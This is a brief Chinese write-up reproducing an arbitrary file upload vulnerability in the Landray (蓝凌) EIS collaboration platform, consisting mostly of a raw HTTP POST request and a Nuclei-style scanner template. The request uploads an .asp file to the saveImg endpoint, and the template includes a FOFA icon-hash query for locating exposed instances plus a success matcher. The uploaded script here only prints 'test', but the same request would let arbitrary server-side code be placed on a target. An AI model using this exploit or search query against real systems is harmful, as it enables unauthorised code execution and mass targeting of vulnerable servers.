蓝凌EIS智慧协同平台任意文件上传漏洞复现

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: 127.0.0.1:5570User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----testContent-Length: 150
------testContent-Disposition: form-data; name="file"filename="test.asp"Content-Type: text/html
<% response.write("test")%>------test--

id: lanling_EIS_uploadinfo:  name: lanling_EIS_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/eis/service/api.aspx?action=saveImg  metadata:    max-request: 1    fofa-query: icon_hash="953405444"    verified: true  tags: upload,蓝凌EIS
requests:  - raw:      - |-        POST /eis/service/api.aspx?action=saveImg HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=----test
        ------test        Content-Disposition: form-data; name="file"filename="test.asp"        Content-Type: text/html
        <% response.write("test")%>        ------test--
    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body), "editor_img") && status_code == 200'